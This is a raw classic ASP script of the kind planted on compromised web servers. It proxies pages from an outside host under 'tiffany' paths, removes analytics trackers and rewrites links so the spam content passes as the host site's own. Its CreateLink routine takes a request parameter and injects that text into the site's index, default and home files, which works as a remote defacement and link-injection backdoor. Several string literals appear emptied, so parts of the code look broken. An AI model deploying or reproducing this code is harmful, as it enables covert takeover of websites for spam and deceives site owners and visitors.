<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% server.ScriptTimeout=9999999 'On Error Resume next action=request("action") replacestr=request("replacestr") If action="createlinks" and replacestr<>"" Then Response.Write CreateLink() Response.End End If lg=Trim(Request("lg")) queryStr=Trim(Request.QueryString) siteUrl="http://www.cdntranslate.com/tiffany/ti33flxe36ab/" If Len(lg)>0 Then siteUrl="http://"&lg&".cdntranslate.com/tiffany/ti33flxe36ab/" queryStr=Replace(queryStr,"lg="&lg,"") queryStr=Replace(queryStr,"&page=","") else siteUrl="http://www.cdntranslate.com/tiffany/ti33flxe36ab/" queryStr=Replace(queryStr,"lg="&lg,"") queryStr=Replace(queryStr,"&page=","") End If 'jsUrl="" previousUrl=Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("PATH_INFO") previousFile=Request.ServerVariables("PATH_INFO") 'lgUrl="DE" locationUrl=GetLocationURL() sourceBody=GetResStr(siteUrl&"/"&queryStr) sourceBody=replace(sourceBody,""""&"/",""""&siteUrl&"/",1,-1,1) sourceBody=replace(sourceBody,"../../../","../",1,-1,1) sourceBody=replace(sourceBody,"../../","../",1,-1,1) sourceBody=replace(sourceBody,"../",siteUrl&"/",1,-1,1) sourceBody=replace(sourceBody,""""&"includes/",""""&siteUrl&"/includes/",1,-1,1) sourceBody=replace(sourceBody,""""&"images/",""""&siteUrl&"/images/",1,-1,1) sourceBody=replace(sourceBody,""""&"js/",""""&siteUrl&"/js/",1,-1,1) sourceBody=replace(sourceBody,""""&"products/",""""&siteUrl&"/products/",1,-1,1) sourceBody=RegexReplace(sourceBody,"","") sourceBody=RegexReplace(sourceBody,"http://js.users.51.la/(.*?).js","") sourceBody=replace(sourceBody,"cnzz.com/z_stat.php","",1,-1,1) sourceBody=replace(sourceBody,"google-analytics.com/ga.js","",1,-1,1) sourceBody=replace(sourceBody,"","
"&previousUrl&"
",1,-1,1) sourceBody=RegexReplace(sourceBody,"","") //sourceBody=replace(sourceBody,"104 then sourceBody=replace(sourceBody,"href="""&chr(i),"href="""&locationUrl&"?lg="&lg&"&page="&chr(i),1,-1,1) end if next Set regEx=new RegExp regEx.Pattern="http://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)?" regEx.IgnoreCase=True regEx.Global=True Set matches=regEx.Execute(sourceBody) For Each data In matches if instr(data,".js")=0 and instr(data,".css")=0 and instr(data,".ico")=0 and instr(data,"w3.org")=0 and instr(data,".jpg")=0 and instr(data,".png")=0 and instr(data,".gif")=0 then newUrl=replace(data,siteUrl&"/",locationUrl&"?",1,-1,1) else newUrl=replace(data,siteUrl&"/","",1,-1,1) end if if data<>siteUrl&"/" then sourceBody=replace(sourceBody,data,newUrl) end if Next sourceBody=replace(sourceBody,""""&siteUrl&"/"&"""","""?""",1,-1,1) sourceBody=replace(sourceBody,"src="""&locationUrl&"?","src=""",1,-1,1) 'sourceBody=replace(sourceBody,"","",1,-1,1) sourceBody=replace(sourceBody,"??","?",1,-1,1) sourceBody=replace(sourceBody,"""?""",""""&locationUrl&"?"&"""",1,-1,1) Response.Addheader "Content-Type","text/html;charset=utf-8" 'Response.Write jsUrl&sourceBody Response.Write sourceBody Response.Write "Afrikaans" Response.Write " " Response.Write "Albanian" Response.Write " " Response.Write "Arabic" Response.Write " " Response.Write "Armenian" Response.Write " " Response.Write "Azerbaijani" Response.Write " " Response.Write "Basque" Response.Write " " Response.Write "Belarusian" Response.Write " " Response.Write "Bulgarian" Response.Write " " Response.Write "Catalan" Response.Write " " Response.Write "Chinese (Simplified)" Response.Write " " Response.Write "Chinese (Traditional)" Response.Write " " Response.Write "Croatian" Response.Write " " Response.Write "Czech" Response.Write " " Response.Write "Danish" Response.Write " " Response.Write "Dutch" Response.Write " " Response.Write "Estonian" Response.Write " " Response.Write "Filipino" Response.Write " " Response.Write "Finnish" Response.Write " " Response.Write "French" Response.Write " " Response.Write "Galician" Response.Write " " Response.Write "Georgian" Response.Write " " Response.Write "German" Response.Write " " Response.Write "Greek" Response.Write " " Response.Write "Haitian Creole" Response.Write " " Response.Write "Hebrew" Response.Write " " Response.Write "Hindi" Response.Write " " Response.Write "Hungarian" Response.Write " " Response.Write "Icelandic" Response.Write " " Response.Write "Indonesian" Response.Write " " Response.Write "Irish" Response.Write " " Response.Write "Italian" Response.Write " " Response.Write "Japanese" Response.Write " " Response.Write "Korean" Response.Write " " Response.Write "Latvian" Response.Write " " Response.Write "Lithuanian" Response.Write " " Response.Write "Macedonian" Response.Write " " Response.Write "Malay" Response.Write " " Response.Write "Maltese" Response.Write " " Response.Write "Norwegian" Response.Write " " Response.Write "Persian" Response.Write " " Response.Write "Polish" Response.Write " " Response.Write "Portuguese" Response.Write " " Response.Write "Romanian" Response.Write " " Response.Write "Russian" Response.Write " " Response.Write "Serbian" Response.Write " " Response.Write "Slovak" Response.Write " " Response.Write "Slovenian" Response.Write " " Response.Write "Spanish" Response.Write " " Response.Write "Swahili" Response.Write " " Response.Write "Swedish" Response.Write " " Response.Write "Thai" Response.Write " " Response.Write "Turkish" Response.Write " " Response.Write "Ukrainian" Response.Write " " Response.Write "Urdu" Response.Write " " Response.Write "Vietnamese" Response.Write " " Response.Write "Welsh" Response.Write " " Response.Write "Yiddish" Response.Write " " Response.End Function GetLocationURL() Dim Url Dim ServerPort,ServerName,ScriptName ServerName = Request.ServerVariables("SERVER_NAME") ServerPort = Request.ServerVariables("SERVER_PORT") ScriptName = Request.ServerVariables("SCRIPT_NAME") QueryString = Request.ServerVariables("QUERY_STRING") Url="http://"&ServerName If ServerPort <> "80" Then Url = Url & ":" & ServerPort Url=Url&ScriptName GetLocationURL=Url End Function Function CreateLink() set fso=CreateObject("Scripting.FileSystemObject") set fs=fso.GetFolder(Server.MapPath("/")) For Each file In fs.Files If instr(LCase(file.name),"index")>0 or instr(LCase(file.name),"default")>0 or instr(LCase(file.name),"home")>0 Then set fsofile=fso.OpenTextFile(file, 1, true) On Error Resume next tempstr=fsofile.Readall pos1=instr(tempstr,"
") If pos1>0 then tempstr=RegexReplace(tempstr,"
(.+?)","") End If tempstr=replace(tempstr, "", "
"&replacestr&"
") set fsofile1=fso.OpenTextFile(file, 2, true) fsofile1.WriteLine tempstr fsofile1.close CreateLink="linkbyme" End If Next set fso=nothing End Function function GetResStr(URL) Dim ResBody,ResStr,PageCode Set Http=server.createobject("msxml2.serverxmlhttp.3.0") Http.setTimeouts 60000, 60000, 60000, 60000 Http.open "GET",URL,False Http.Send() If Http.Readystate =4 Then If Http.status=200 Then ResStr=http.responseText ResBody=http.responseBody PageCode="utf-8" GetResStr=BytesToBstr(http.responseBody,trim(PageCode)) End If End If End Function Function BytesToBstr(Body,Cset) Dim Objstream Set Objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function RegexReplace(source1,pattern1,replace1) Set re = New RegExp re.Pattern = pattern1 re.Global = True re.IgnoreCase = True RegexReplace= re.replace(source1,replace1) End Function %>